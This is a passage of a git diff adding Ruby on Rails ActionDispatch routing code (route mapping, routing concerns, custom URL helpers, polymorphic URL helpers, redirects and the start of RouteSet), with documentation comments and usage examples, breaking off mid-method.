+                raise ArgumentError, "Ambiguous route definition. Both :path and the route path where specified as strings."
+              end
+              to = get_to_from_path(_path, to, route_options[:action])
+              decomposed_match(_path, controller, route_options, _path, to, via, formatted, anchor, options_constraints)
+            end
+
+            path_types.fetch(Symbol, []).each do |action|
+              route_options = options.dup
+              decomposed_match(action, controller, route_options, option_path, to, via, formatted, anchor, options_constraints)
+            end
+
+            self
+          end
+
+          def get_to_from_path(path, to, action)
+            return to if to || action
+
+            path_without_format = path.sub(/\(\.:format\)$/, "")
+            if using_match_shorthand?(path_without_format)
+              path_without_format.gsub(%r{^/}, "").sub(%r{/([^/]*)$}, '#\1').tr("-", "_")
+            else
+              nil
+            end
+          end
+
+          def using_match_shorthand?(path)
+            path =~ %r{^/?[-\w]+/[-\w/]+$}
+          end
+
+          def decomposed_match(path, controller, options, _path, to, via, formatted, anchor, options_constraints)
+            if on = options.delete(:on)
+              send(on) { decomposed_match(path, controller, options, _path, to, via, formatted, anchor, options_constraints) }
+            else
+              case @scope.scope_level
+              when :resources
+                nested { decomposed_match(path, controller, options, _path, to, via, formatted, anchor, options_constraints) }
+              when :resource
+                member { decomposed_match(path, controller, options, _path, to, via, formatted, anchor, options_constraints) }
+              else
+                add_route(path, controller, options, _path, to, via, formatted, anchor, options_constraints)
+              end
+            end
+          end
+
+          def add_route(action, controller, options, _path, to, via, formatted, anchor, options_constraints)
+            path = path_for_action(action, _path)
+            raise ArgumentError, "path is required" if path.blank?
+
+            action = action.to_s
+
+            default_action = options.delete(:action) || @scope[:action]
+
+            if action =~ /^[\w\-\/]+$/
+              default_action ||= action.tr("-", "_") unless action.include?("/")
+            else
+              action = nil
+            end
+
+            as = if !options.fetch(:as, true) # if it's set to nil or false
+              options.delete(:as)
+            else
+              name_for_action(options.delete(:as), action)
+            end
+
+            path = Mapping.normalize_path URI.parser.escape(path), formatted
+            ast = Journey::Parser.parse path
+
+            mapping = Mapping.build(@scope, @set, ast, controller, default_action, to, via, formatted, options_constraints, anchor, options)
+            @set.add_route(mapping, as)
+          end
+
+          def match_root_route(options)
+            name = has_named_route?(name_for_action(:root, nil)) ? nil : :root
+            args = ["/", { as: name, via: :get }.merge!(options)]
+
+            match(*args)
+          end
+      end
+
+      # Routing Concerns allow you to declare common routes that can be reused
+      # inside others resources and routes.
+      #
+      #   concern :commentable do
+      #     resources :comments
+      #   end
+      #
+      #   concern :image_attachable do
+      #     resources :images, only: :index
+      #   end
+      #
+      # These concerns are used in Resources routing:
+      #
+      #   resources :messages, concerns: [:commentable, :image_attachable]
+      #
+      # or in a scope or namespace:
+      #
+      #   namespace :posts do
+      #     concerns :commentable
+      #   end
+      module Concerns
+        # Define a routing concern using a name.
+        #
+        # Concerns may be defined inline, using a block, or handled by
+        # another object, by passing that object as the second parameter.
+        #
+        # The concern object, if supplied, should respond to <tt>call</tt>,
+        # which will receive two parameters:
+        #
+        #   * The current mapper
+        #   * A hash of options which the concern object may use
+        #
+        # Options may also be used by concerns defined in a block by accepting
+        # a block parameter. So, using a block, you might do something as
+        # simple as limit the actions available on certain resources, passing
+        # standard resource options through the concern:
+        #
+        #   concern :commentable do |options|
+        #     resources :comments, options
+        #   end
+        #
+        #   resources :posts, concerns: :commentable
+        #   resources :archived_posts do
+        #     # Don't allow comments on archived posts
+        #     concerns :commentable, only: [:index, :show]
+        #   end
+        #
+        # Or, using a callable object, you might implement something more
+        # specific to your application, which would be out of place in your
+        # routes file.
+        #
+        #   # purchasable.rb
+        #   class Purchasable
+        #     def initialize(defaults = {})
+        #       @defaults = defaults
+        #     end
+        #
+        #     def call(mapper, options = {})
+        #       options = @defaults.merge(options)
+        #       mapper.resources :purchases
+        #       mapper.resources :receipts
+        #       mapper.resources :returns if options[:returnable]
+        #     end
+        #   end
+        #
+        #   # routes.rb
+        #   concern :purchasable, Purchasable.new(returnable: true)
+        #
+        #   resources :toys, concerns: :purchasable
+        #   resources :electronics, concerns: :purchasable
+        #   resources :pets do
+        #     concerns :purchasable, returnable: false
+        #   end
+        #
+        # Any routing helpers can be used inside a concern. If using a
+        # callable, they're accessible from the Mapper that's passed to
+        # <tt>call</tt>.
+        def concern(name, callable = nil, &block)
+          callable ||= lambda { |mapper, options| mapper.instance_exec(options, &block) }
+          @concerns[name] = callable
+        end
+
+        # Use the named concerns
+        #
+        #   resources :posts do
+        #     concerns :commentable
+        #   end
+        #
+        # Concerns also work in any routes helper that you want to use:
+        #
+        #   namespace :posts do
+        #     concerns :commentable
+        #   end
+        def concerns(*args)
+          options = args.extract_options!
+          args.flatten.each do |name|
+            if concern = @concerns[name]
+              concern.call(self, options)
+            else
+              raise ArgumentError, "No concern named #{name} was found!"
+            end
+          end
+        end
+      end
+
+      module CustomUrls
+        # Define custom url helpers that will be added to the application's
+        # routes. This allows you to override and/or replace the default behavior
+        # of routing helpers, e.g:
+        #
+        #   direct :homepage do
+        #     "http://www.rubyonrails.org"
+        #   end
+        #
+        #   direct :commentable do |model|
+        #     [ model, anchor: model.dom_id ]
+        #   end
+        #
+        #   direct :main do
+        #     { controller: "pages", action: "index", subdomain: "www" }
+        #   end
+        #
+        # The return value from the block passed to +direct+ must be a valid set of
+        # arguments for +url_for+ which will actually build the URL string. This can
+        # be one of the following:
+        #
+        #   * A string, which is treated as a generated URL
+        #   * A hash, e.g. { controller: "pages", action: "index" }
+        #   * An array, which is passed to `polymorphic_url`
+        #   * An Active Model instance
+        #   * An Active Model class
+        #
+        # NOTE: Other URL helpers can be called in the block but be careful not to invoke
+        # your custom URL helper again otherwise it will result in a stack overflow error.
+        #
+        # You can also specify default options that will be passed through to
+        # your URL helper definition, e.g:
+        #
+        #   direct :browse, page: 1, size: 10 do |options|
+        #     [ :products, options.merge(params.permit(:page, :size).to_h.symbolize_keys) ]
+        #   end
+        #
+        # In this instance the +params+ object comes from the context in which the the
+        # block is executed, e.g. generating a URL inside a controller action or a view.
+        # If the block is executed where there isn't a params object such as this:
+        #
+        #   Rails.application.routes.url_helpers.browse_path
+        #
+        # then it will raise a +NameError+. Because of this you need to be aware of the
+        # context in which you will use your custom URL helper when defining it.
+        #
+        # NOTE: The +direct+ method can't be used inside of a scope block such as
+        # +namespace+ or +scope+ and will raise an error if it detects that it is.
+        def direct(name, options = {}, &block)
+          unless @scope.root?
+            raise RuntimeError, "The direct method can't be used inside a routes scope block"
+          end
+
+          @set.add_url_helper(name, options, &block)
+        end
+
+        # Define custom polymorphic mappings of models to URLs. This alters the
+        # behavior of +polymorphic_url+ and consequently the behavior of
+        # +link_to+ and +form_for+ when passed a model instance, e.g:
+        #
+        #   resource :basket
+        #
+        #   resolve "Basket" do
+        #     [:basket]
+        #   end
+        #
+        # This will now generate "/basket" when a +Basket+ instance is passed to
+        # +link_to+ or +form_for+ instead of the standard "/baskets/:id".
+        #
+        # NOTE: This custom behavior only applies to simple polymorphic URLs where
+        # a single model instance is passed and not more complicated forms, e.g:
+        #
+        #   # config/routes.rb
+        #   resource :profile
+        #   namespace :admin do
+        #     resources :users
+        #   end
+        #
+        #   resolve("User") { [:profile] }
+        #
+        #   # app/views/application/_menu.html.erb
+        #   link_to "Profile", @current_user
+        #   link_to "Profile", [:admin, @current_user]
+        #
+        # The first +link_to+ will generate "/profile" but the second will generate
+        # the standard polymorphic URL of "/admin/users/1".
+        #
+        # You can pass options to a polymorphic mapping - the arity for the block
+        # needs to be two as the instance is passed as the first argument, e.g:
+        #
+        #   resolve "Basket", anchor: "items" do |basket, options|
+        #     [:basket, options]
+        #   end
+        #
+        # This generates the URL "/basket#items" because when the last item in an
+        # array passed to +polymorphic_url+ is a hash then it's treated as options
+        # to the URL helper that gets called.
+        #
+        # NOTE: The +resolve+ method can't be used inside of a scope block such as
+        # +namespace+ or +scope+ and will raise an error if it detects that it is.
+        def resolve(*args, &block)
+          unless @scope.root?
+            raise RuntimeError, "The resolve method can't be used inside a routes scope block"
+          end
+
+          options = args.extract_options!
+          args = args.flatten(1)
+
+          args.each do |klass|
+            @set.add_polymorphic_mapping(klass, options, &block)
+          end
+        end
+      end
+
+      class Scope # :nodoc:
+        OPTIONS = [:path, :shallow_path, :as, :shallow_prefix, :module,
+                   :controller, :action, :path_names, :constraints,
+                   :shallow, :blocks, :defaults, :via, :format, :options, :to]
+
+        RESOURCE_SCOPES = [:resource, :resources]
+        RESOURCE_METHOD_SCOPES = [:collection, :member, :new]
+
+        attr_reader :parent, :scope_level
+
+        def initialize(hash, parent = NULL, scope_level = nil)
+          @hash = hash
+          @parent = parent
+          @scope_level = scope_level
+        end
+
+        def nested?
+          scope_level == :nested
+        end
+
+        def null?
+          @hash.nil? && @parent.nil?
+        end
+
+        def root?
+          @parent.null?
+        end
+
+        def resources?
+          scope_level == :resources
+        end
+
+        def resource_method_scope?
+          RESOURCE_METHOD_SCOPES.include? scope_level
+        end
+
+        def action_name(name_prefix, prefix, collection_name, member_name)
+          case scope_level
+          when :nested
+            [name_prefix, prefix]
+          when :collection
+            [prefix, name_prefix, collection_name]
+          when :new
+            [prefix, :new, name_prefix, member_name]
+          when :member
+            [prefix, name_prefix, member_name]
+          when :root
+            [name_prefix, collection_name, prefix]
+          else
+            [name_prefix, member_name, prefix]
+          end
+        end
+
+        def resource_scope?
+          RESOURCE_SCOPES.include? scope_level
+        end
+
+        def options
+          OPTIONS
+        end
+
+        def new(hash)
+          self.class.new hash, self, scope_level
+        end
+
+        def new_level(level)
+          self.class.new(frame, self, level)
+        end
+
+        def [](key)
+          scope = find { |node| node.frame.key? key }
+          scope && scope.frame[key]
+        end
+
+        include Enumerable
+
+        def each
+          node = self
+          until node.equal? NULL
+            yield node
+            node = node.parent
+          end
+        end
+
+        def frame; @hash; end
+
+        NULL = Scope.new(nil, nil)
+      end
+
+      def initialize(set) #:nodoc:
+        @set = set
+        @scope = Scope.new(path_names: @set.resources_path_names)
+        @concerns = {}
+      end
+
+      include Base
+      include HttpHelpers
+      include Redirection
+      include Scoping
+      include Concerns
+      include Resources
+      include CustomUrls
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/routing/polymorphic_routes.rb b/actionpack/lib/action_dispatch/routing/polymorphic_routes.rb
new file mode 100644
index 0000000000..6da869c0c2
--- /dev/null
+++ b/actionpack/lib/action_dispatch/routing/polymorphic_routes.rb
@@ -0,0 +1,352 @@
+# frozen_string_literal: true
+
+module ActionDispatch
+  module Routing
+    # Polymorphic URL helpers are methods for smart resolution to a named route call when
+    # given an Active Record model instance. They are to be used in combination with
+    # ActionController::Resources.
+    #
+    # These methods are useful when you want to generate the correct URL or path to a RESTful
+    # resource without having to know the exact type of the record in question.
+    #
+    # Nested resources and/or namespaces are also supported, as illustrated in the example:
+    #
+    #   polymorphic_url([:admin, @article, @comment])
+    #
+    # results in:
+    #
+    #   admin_article_comment_url(@article, @comment)
+    #
+    # == Usage within the framework
+    #
+    # Polymorphic URL helpers are used in a number of places throughout the \Rails framework:
+    #
+    # * <tt>url_for</tt>, so you can use it with a record as the argument, e.g.
+    #   <tt>url_for(@article)</tt>;
+    # * ActionView::Helpers::FormHelper uses <tt>polymorphic_path</tt>, so you can write
+    #   <tt>form_for(@article)</tt> without having to specify <tt>:url</tt> parameter for the form
+    #   action;
+    # * <tt>redirect_to</tt> (which, in fact, uses <tt>url_for</tt>) so you can write
+    #   <tt>redirect_to(post)</tt> in your controllers;
+    # * ActionView::Helpers::AtomFeedHelper, so you don't have to explicitly specify URLs
+    #   for feed entries.
+    #
+    # == Prefixed polymorphic helpers
+    #
+    # In addition to <tt>polymorphic_url</tt> and <tt>polymorphic_path</tt> methods, a
+    # number of prefixed helpers are available as a shorthand to <tt>action: "..."</tt>
+    # in options. Those are:
+    #
+    # * <tt>edit_polymorphic_url</tt>, <tt>edit_polymorphic_path</tt>
+    # * <tt>new_polymorphic_url</tt>, <tt>new_polymorphic_path</tt>
+    #
+    # Example usage:
+    #
+    #   edit_polymorphic_path(@post)           # => "/posts/1/edit"
+    #   polymorphic_path(@post, format: :pdf)  # => "/posts/1.pdf"
+    #
+    # == Usage with mounted engines
+    #
+    # If you are using a mounted engine and you need to use a polymorphic_url
+    # pointing at the engine's routes, pass in the engine's route proxy as the first
+    # argument to the method. For example:
+    #
+    #   polymorphic_url([blog, @post])  # calls blog.post_path(@post)
+    #   form_for([blog, @post])         # => "/blog/posts/1"
+    #
+    module PolymorphicRoutes
+      # Constructs a call to a named RESTful route for the given record and returns the
+      # resulting URL string. For example:
+      #
+      #   # calls post_url(post)
+      #   polymorphic_url(post) # => "http://example.com/posts/1"
+      #   polymorphic_url([blog, post]) # => "http://example.com/blogs/1/posts/1"
+      #   polymorphic_url([:admin, blog, post]) # => "http://example.com/admin/blogs/1/posts/1"
+      #   polymorphic_url([user, :blog, post]) # => "http://example.com/users/1/blog/posts/1"
+      #   polymorphic_url(Comment) # => "http://example.com/comments"
+      #
+      # ==== Options
+      #
+      # * <tt>:action</tt> - Specifies the action prefix for the named route:
+      #   <tt>:new</tt> or <tt>:edit</tt>. Default is no prefix.
+      # * <tt>:routing_type</tt> - Allowed values are <tt>:path</tt> or <tt>:url</tt>.
+      #   Default is <tt>:url</tt>.
+      #
+      # Also includes all the options from <tt>url_for</tt>. These include such
+      # things as <tt>:anchor</tt> or <tt>:trailing_slash</tt>. Example usage
+      # is given below:
+      #
+      #   polymorphic_url([blog, post], anchor: 'my_anchor')
+      #     # => "http://example.com/blogs/1/posts/1#my_anchor"
+      #   polymorphic_url([blog, post], anchor: 'my_anchor', script_name: "/my_app")
+      #     # => "http://example.com/my_app/blogs/1/posts/1#my_anchor"
+      #
+      # For all of these options, see the documentation for {url_for}[rdoc-ref:ActionDispatch::Routing::UrlFor].
+      #
+      # ==== Functionality
+      #
+      #   # an Article record
+      #   polymorphic_url(record)  # same as article_url(record)
+      #
+      #   # a Comment record
+      #   polymorphic_url(record)  # same as comment_url(record)
+      #
+      #   # it recognizes new records and maps to the collection
+      #   record = Comment.new
+      #   polymorphic_url(record)  # same as comments_url()
+      #
+      #   # the class of a record will also map to the collection
+      #   polymorphic_url(Comment) # same as comments_url()
+      #
+      def polymorphic_url(record_or_hash_or_array, options = {})
+        if Hash === record_or_hash_or_array
+          options = record_or_hash_or_array.merge(options)
+          record  = options.delete :id
+          return polymorphic_url record, options
+        end
+
+        if mapping = polymorphic_mapping(record_or_hash_or_array)
+          return mapping.call(self, [record_or_hash_or_array, options], false)
+        end
+
+        opts   = options.dup
+        action = opts.delete :action
+        type   = opts.delete(:routing_type) || :url
+
+        HelperMethodBuilder.polymorphic_method self,
+                                               record_or_hash_or_array,
+                                               action,
+                                               type,
+                                               opts
+      end
+
+      # Returns the path component of a URL for the given record. It uses
+      # <tt>polymorphic_url</tt> with <tt>routing_type: :path</tt>.
+      def polymorphic_path(record_or_hash_or_array, options = {})
+        if Hash === record_or_hash_or_array
+          options = record_or_hash_or_array.merge(options)
+          record  = options.delete :id
+          return polymorphic_path record, options
+        end
+
+        if mapping = polymorphic_mapping(record_or_hash_or_array)
+          return mapping.call(self, [record_or_hash_or_array, options], true)
+        end
+
+        opts   = options.dup
+        action = opts.delete :action
+        type   = :path
+
+        HelperMethodBuilder.polymorphic_method self,
+                                               record_or_hash_or_array,
+                                               action,
+                                               type,
+                                               opts
+      end
+
+      %w(edit new).each do |action|
+        module_eval <<-EOT, __FILE__, __LINE__ + 1
+          def #{action}_polymorphic_url(record_or_hash, options = {})
+            polymorphic_url_for_action("#{action}", record_or_hash, options)
+          end
+
+          def #{action}_polymorphic_path(record_or_hash, options = {})
+            polymorphic_path_for_action("#{action}", record_or_hash, options)
+          end
+        EOT
+      end
+
+      private
+
+        def polymorphic_url_for_action(action, record_or_hash, options)
+          polymorphic_url(record_or_hash, options.merge(action: action))
+        end
+
+        def polymorphic_path_for_action(action, record_or_hash, options)
+          polymorphic_path(record_or_hash, options.merge(action: action))
+        end
+
+        def polymorphic_mapping(record)
+          if record.respond_to?(:to_model)
+            _routes.polymorphic_mappings[record.to_model.model_name.name]
+          else
+            _routes.polymorphic_mappings[record.class.name]
+          end
+        end
+
+        class HelperMethodBuilder # :nodoc:
+          CACHE = { "path" => {}, "url" => {} }
+
+          def self.get(action, type)
+            type = type.to_s
+            CACHE[type].fetch(action) { build action, type }
+          end
+
+          def self.url;  CACHE["url".freeze][nil]; end
+          def self.path; CACHE["path".freeze][nil]; end
+
+          def self.build(action, type)
+            prefix = action ? "#{action}_" : ""
+            suffix = type
+            if action.to_s == "new"
+              HelperMethodBuilder.singular prefix, suffix
+            else
+              HelperMethodBuilder.plural prefix, suffix
+            end
+          end
+
+          def self.singular(prefix, suffix)
+            new(->(name) { name.singular_route_key }, prefix, suffix)
+          end
+
+          def self.plural(prefix, suffix)
+            new(->(name) { name.route_key }, prefix, suffix)
+          end
+
+          def self.polymorphic_method(recipient, record_or_hash_or_array, action, type, options)
+            builder = get action, type
+
+            case record_or_hash_or_array
+            when Array
+              record_or_hash_or_array = record_or_hash_or_array.compact
+              if record_or_hash_or_array.empty?
+                raise ArgumentError, "Nil location provided. Can't build URI."
+              end
+              if record_or_hash_or_array.first.is_a?(ActionDispatch::Routing::RoutesProxy)
+                recipient = record_or_hash_or_array.shift
+              end
+
+              method, args = builder.handle_list record_or_hash_or_array
+            when String, Symbol
+              method, args = builder.handle_string record_or_hash_or_array
+            when Class
+              method, args = builder.handle_class record_or_hash_or_array
+
+            when nil
+              raise ArgumentError, "Nil location provided. Can't build URI."
+            else
+              method, args = builder.handle_model record_or_hash_or_array
+            end
+
+            if options.empty?
+              recipient.send(method, *args)
+            else
+              recipient.send(method, *args, options)
+            end
+          end
+
+          attr_reader :suffix, :prefix
+
+          def initialize(key_strategy, prefix, suffix)
+            @key_strategy = key_strategy
+            @prefix       = prefix
+            @suffix       = suffix
+          end
+
+          def handle_string(record)
+            [get_method_for_string(record), []]
+          end
+
+          def handle_string_call(target, str)
+            target.send get_method_for_string str
+          end
+
+          def handle_class(klass)
+            [get_method_for_class(klass), []]
+          end
+
+          def handle_class_call(target, klass)
+            target.send get_method_for_class klass
+          end
+
+          def handle_model(record)
+            args  = []
+
+            model = record.to_model
+            named_route = if model.persisted?
+              args << model
+              get_method_for_string model.model_name.singular_route_key
+            else
+              get_method_for_class model
+            end
+
+            [named_route, args]
+          end
+
+          def handle_model_call(target, record)
+            if mapping = polymorphic_mapping(target, record)
+              mapping.call(target, [record], suffix == "path")
+            else
+              method, args = handle_model(record)
+              target.send(method, *args)
+            end
+          end
+
+          def handle_list(list)
+            record_list = list.dup
+            record      = record_list.pop
+
+            args = []
+
+            route = record_list.map { |parent|
+              case parent
+              when Symbol, String
+                parent.to_s
+              when Class
+                args << parent
+                parent.model_name.singular_route_key
+              else
+                args << parent.to_model
+                parent.to_model.model_name.singular_route_key
+              end
+            }
+
+            route <<
+            case record
+            when Symbol, String
+              record.to_s
+            when Class
+              @key_strategy.call record.model_name
+            else
+              model = record.to_model
+              if model.persisted?
+                args << model
+                model.model_name.singular_route_key
+              else
+                @key_strategy.call model.model_name
+              end
+            end
+
+            route << suffix
+
+            named_route = prefix + route.join("_")
+            [named_route, args]
+          end
+
+          private
+
+            def polymorphic_mapping(target, record)
+              if record.respond_to?(:to_model)
+                target._routes.polymorphic_mappings[record.to_model.model_name.name]
+              else
+                target._routes.polymorphic_mappings[record.class.name]
+              end
+            end
+
+            def get_method_for_class(klass)
+              name = @key_strategy.call klass.model_name
+              get_method_for_string name
+            end
+
+            def get_method_for_string(str)
+              "#{prefix}#{str}_#{suffix}"
+            end
+
+            [nil, "new", "edit"].each do |action|
+              CACHE["url"][action]  = build action, "url"
+              CACHE["path"][action] = build action, "path"
+            end
+        end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/routing/redirection.rb b/actionpack/lib/action_dispatch/routing/redirection.rb
new file mode 100644
index 0000000000..a04f06de1b
--- /dev/null
+++ b/actionpack/lib/action_dispatch/routing/redirection.rb
@@ -0,0 +1,201 @@
+# frozen_string_literal: true
+
+require_relative "../http/request"
+require "active_support/core_ext/uri"
+require "active_support/core_ext/array/extract_options"
+require "rack/utils"
+require "action_controller/metal/exceptions"
+require_relative "endpoint"
+
+module ActionDispatch
+  module Routing
+    class Redirect < Endpoint # :nodoc:
+      attr_reader :status, :block
+
+      def initialize(status, block)
+        @status = status
+        @block  = block
+      end
+
+      def redirect?; true; end
+
+      def call(env)
+        serve Request.new env
+      end
+
+      def serve(req)
+        uri = URI.parse(path(req.path_parameters, req))
+
+        unless uri.host
+          if relative_path?(uri.path)
+            uri.path = "#{req.script_name}/#{uri.path}"
+          elsif uri.path.empty?
+            uri.path = req.script_name.empty? ? "/" : req.script_name
+          end
+        end
+
+        uri.scheme ||= req.scheme
+        uri.host   ||= req.host
+        uri.port   ||= req.port unless req.standard_port?
+
+        req.commit_flash
+
+        body = %(<html><body>You are being <a href="#{ERB::Util.unwrapped_html_escape(uri.to_s)}">redirected</a>.</body></html>)
+
+        headers = {
+          "Location" => uri.to_s,
+          "Content-Type" => "text/html",
+          "Content-Length" => body.length.to_s
+        }
+
+        [ status, headers, [body] ]
+      end
+
+      def path(params, request)
+        block.call params, request
+      end
+
+      def inspect
+        "redirect(#{status})"
+      end
+
+      private
+        def relative_path?(path)
+          path && !path.empty? && path[0] != "/"
+        end
+
+        def escape(params)
+          Hash[params.map { |k, v| [k, Rack::Utils.escape(v)] }]
+        end
+
+        def escape_fragment(params)
+          Hash[params.map { |k, v| [k, Journey::Router::Utils.escape_fragment(v)] }]
+        end
+
+        def escape_path(params)
+          Hash[params.map { |k, v| [k, Journey::Router::Utils.escape_path(v)] }]
+        end
+    end
+
+    class PathRedirect < Redirect
+      URL_PARTS = /\A([^?]+)?(\?[^#]+)?(#.+)?\z/
+
+      def path(params, request)
+        if block.match(URL_PARTS)
+          path     = interpolation_required?($1, params) ? $1 % escape_path(params)     : $1
+          query    = interpolation_required?($2, params) ? $2 % escape(params)          : $2
+          fragment = interpolation_required?($3, params) ? $3 % escape_fragment(params) : $3
+
+          "#{path}#{query}#{fragment}"
+        else
+          interpolation_required?(block, params) ? block % escape(params) : block
+        end
+      end
+
+      def inspect
+        "redirect(#{status}, #{block})"
+      end
+
+      private
+        def interpolation_required?(string, params)
+          !params.empty? && string && string.match(/%\{\w*\}/)
+        end
+    end
+
+    class OptionRedirect < Redirect # :nodoc:
+      alias :options :block
+
+      def path(params, request)
+        url_options = {
+          protocol: request.protocol,
+          host: request.host,
+          port: request.optional_port,
+          path: request.path,
+          params: request.query_parameters
+        }.merge! options
+
+        if !params.empty? && url_options[:path].match(/%\{\w*\}/)
+          url_options[:path] = (url_options[:path] % escape_path(params))
+        end
+
+        unless options[:host] || options[:domain]
+          if relative_path?(url_options[:path])
+            url_options[:path] = "/#{url_options[:path]}"
+            url_options[:script_name] = request.script_name
+          elsif url_options[:path].empty?
+            url_options[:path] = request.script_name.empty? ? "/" : ""
+            url_options[:script_name] = request.script_name
+          end
+        end
+
+        ActionDispatch::Http::URL.url_for url_options
+      end
+
+      def inspect
+        "redirect(#{status}, #{options.map { |k, v| "#{k}: #{v}" }.join(', ')})"
+      end
+    end
+
+    module Redirection
+      # Redirect any path to another path:
+      #
+      #   get "/stories" => redirect("/posts")
+      #
+      # This will redirect the user, while ignoring certain parts of the request, including query string, etc.
+      # `/stories`, `/stories?foo=bar`, etc all redirect to `/posts`.
+      #
+      # You can also use interpolation in the supplied redirect argument:
+      #
+      #   get 'docs/:article', to: redirect('/wiki/%{article}')
+      #
+      # Note that if you return a path without a leading slash then the URL is prefixed with the
+      # current SCRIPT_NAME environment variable. This is typically '/' but may be different in
+      # a mounted engine or where the application is deployed to a subdirectory of a website.
+      #
+      # Alternatively you can use one of the other syntaxes:
+      #
+      # The block version of redirect allows for the easy encapsulation of any logic associated with
+      # the redirect in question. Either the params and request are supplied as arguments, or just
+      # params, depending of how many arguments your block accepts. A string is required as a
+      # return value.
+      #
+      #   get 'jokes/:number', to: redirect { |params, request|
+      #     path = (params[:number].to_i.even? ? "wheres-the-beef" : "i-love-lamp")
+      #     "http://#{request.host_with_port}/#{path}"
+      #   }
+      #
+      # Note that the +do end+ syntax for the redirect block wouldn't work, as Ruby would pass
+      # the block to +get+ instead of +redirect+. Use <tt>{ ... }</tt> instead.
+      #
+      # The options version of redirect allows you to supply only the parts of the URL which need
+      # to change, it also supports interpolation of the path similar to the first example.
+      #
+      #   get 'stores/:name',       to: redirect(subdomain: 'stores', path: '/%{name}')
+      #   get 'stores/:name(*all)', to: redirect(subdomain: 'stores', path: '/%{name}%{all}')
+      #   get '/stories', to: redirect(path: '/posts')
+      #
+      # This will redirect the user, while changing only the specified parts of the request,
+      # for example the `path` option in the last example.
+      # `/stories`, `/stories?foo=bar`, redirect to `/posts` and `/posts?foo=bar` respectively.
+      #
+      # Finally, an object which responds to call can be supplied to redirect, allowing you to reuse
+      # common redirect routes. The call method must accept two arguments, params and request, and return
+      # a string.
+      #
+      #   get 'accounts/:name' => redirect(SubdomainRedirector.new('api'))
+      #
+      def redirect(*args, &block)
+        options = args.extract_options!
+        status  = options.delete(:status) || 301
+        path    = args.shift
+
+        return OptionRedirect.new(status, options) if options.any?
+        return PathRedirect.new(status, path) if String === path
+
+        block = path if path.respond_to? :call
+        raise ArgumentError, "redirection argument not supported" unless block
+        Redirect.new status, block
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/routing/route_set.rb b/actionpack/lib/action_dispatch/routing/route_set.rb
new file mode 100644
index 0000000000..357eaec572
--- /dev/null
+++ b/actionpack/lib/action_dispatch/routing/route_set.rb
@@ -0,0 +1,870 @@
+# frozen_string_literal: true
+
+require_relative "../journey"
+require "active_support/core_ext/object/to_query"
+require "active_support/core_ext/hash/slice"
+require "active_support/core_ext/module/remove_method"
+require "active_support/core_ext/array/extract_options"
+require "action_controller/metal/exceptions"
+require_relative "../http/request"
+require_relative "endpoint"
+
+module ActionDispatch
+  module Routing
+    # :stopdoc:
+    class RouteSet
+      # Since the router holds references to many parts of the system
+      # like engines, controllers and the application itself, inspecting
+      # the route set can actually be really slow, therefore we default
+      # alias inspect to to_s.
+      alias inspect to_s
+
+      class Dispatcher < Routing::Endpoint
+        def initialize(raise_on_name_error)
+          @raise_on_name_error = raise_on_name_error
+        end
+
+        def dispatcher?; true; end
+
+        def serve(req)
+          params     = req.path_parameters
+          controller = controller req
+          res        = controller.make_response! req
+          dispatch(controller, params[:action], req, res)
+        rescue ActionController::RoutingError
+          if @raise_on_name_error
+            raise
+          else
+            return [404, { "X-Cascade" => "pass" }, []]
+          end
+        end
+
+      private
+
+        def controller(req)
+          req.controller_class
+        rescue NameError => e
+          raise ActionController::RoutingError, e.message, e.backtrace
+        end
+
+        def dispatch(controller, action, req, res)
+          controller.dispatch(action, req, res)
+        end
+      end
+
+      class StaticDispatcher < Dispatcher
+        def initialize(controller_class)
+          super(false)
+          @controller_class = controller_class
+        end
+
+        private
+
+          def controller(_); @controller_class; end
+      end
+
+      # A NamedRouteCollection instance is a collection of named routes, and also
+      # maintains an anonymous module that can be used to install helpers for the
+      # named routes.
+      class NamedRouteCollection
+        include Enumerable
+        attr_reader :routes, :url_helpers_module, :path_helpers_module
+        private :routes
+
+        def initialize
+          @routes = {}
+          @path_helpers = Set.new
+          @url_helpers = Set.new
+          @url_helpers_module  = Module.new
+          @path_helpers_module = Module.new
+        end
+
+        def route_defined?(name)
+          key = name.to_sym
+          @path_helpers.include?(key) || @url_helpers.include?(key)
+        end
+
+        def helper_names
+          @path_helpers.map(&:to_s) + @url_helpers.map(&:to_s)
+        end
+
+        def clear!
+          @path_helpers.each do |helper|
+            @path_helpers_module.send :remove_method, helper
+          end
+
+          @url_helpers.each do |helper|
+            @url_helpers_module.send  :remove_method, helper
+          end
+
+          @routes.clear
+          @path_helpers.clear
+          @url_helpers.clear
+        end
+
+        def add(name, route)
+          key       = name.to_sym
+          path_name = :"#{name}_path"
+          url_name  = :"#{name}_url"
+
+          if routes.key? key
+            @path_helpers_module.send :undef_method, path_name
+            @url_helpers_module.send  :undef_method, url_name
+          end
+          routes[key] = route
+          define_url_helper @path_helpers_module, route, path_name, route.defaults, name, PATH
+          define_url_helper @url_helpers_module,  route, url_name,  route.defaults, name, UNKNOWN
+
+          @path_helpers << path_name
+          @url_helpers << url_name
+        end
+
+        def get(name)
+          routes[name.to_sym]
+        end
+
+        def key?(name)
+          return unless name
+          routes.key? name.to_sym
+        end
+
+        alias []=   add
+        alias []    get
+        alias clear clear!
+
+        def each
+          routes.each { |name, route| yield name, route }
+          self
+        end
+
+        def names
+          routes.keys
+        end
+
+        def length
+          routes.length
+        end
+
+        # Given a +name+, defines name_path and name_url helpers.
+        # Used by 'direct', 'resolve', and 'polymorphic' route helpers.
+        def add_url_helper(name, defaults, &block)
+          helper = CustomUrlHelper.new(name, defaults, &block)
+          path_name = :"#{name}_path"
+          url_name = :"#{name}_url"
+
+          @path_helpers_module.module_eval do
+            define_method(path_name) do |*args|
+              helper.call(self, args, true)
+            end
+          end
+
+          @url_helpers_module.module_eval do
+            define_method(url_name) do |*args|
+              helper.call(self, args, false)
+            end
+          end
+
+          @path_helpers << path_name
+          @url_helpers << url_name
+
+          self
+        end
+
+        class UrlHelper
+          def self.create(route, options, route_name, url_strategy)
+            if optimize_helper?(route)
+              OptimizedUrlHelper.new(route, options, route_name, url_strategy)
+            else
+              new route, options, route_name, url_strategy
+            end
+          end
+
+          def self.optimize_helper?(route)
+            !route.glob? && route.path.requirements.empty?
+          end
+
+          attr_reader :url_strategy, :route_name
+
+          class OptimizedUrlHelper < UrlHelper
+            attr_reader :arg_size
+
+            def initialize(route, options, route_name, url_strategy)
+              super
+              @required_parts = @route.required_parts
+              @arg_size       = @required_parts.size
+            end
+
+            def call(t, args, inner_options)
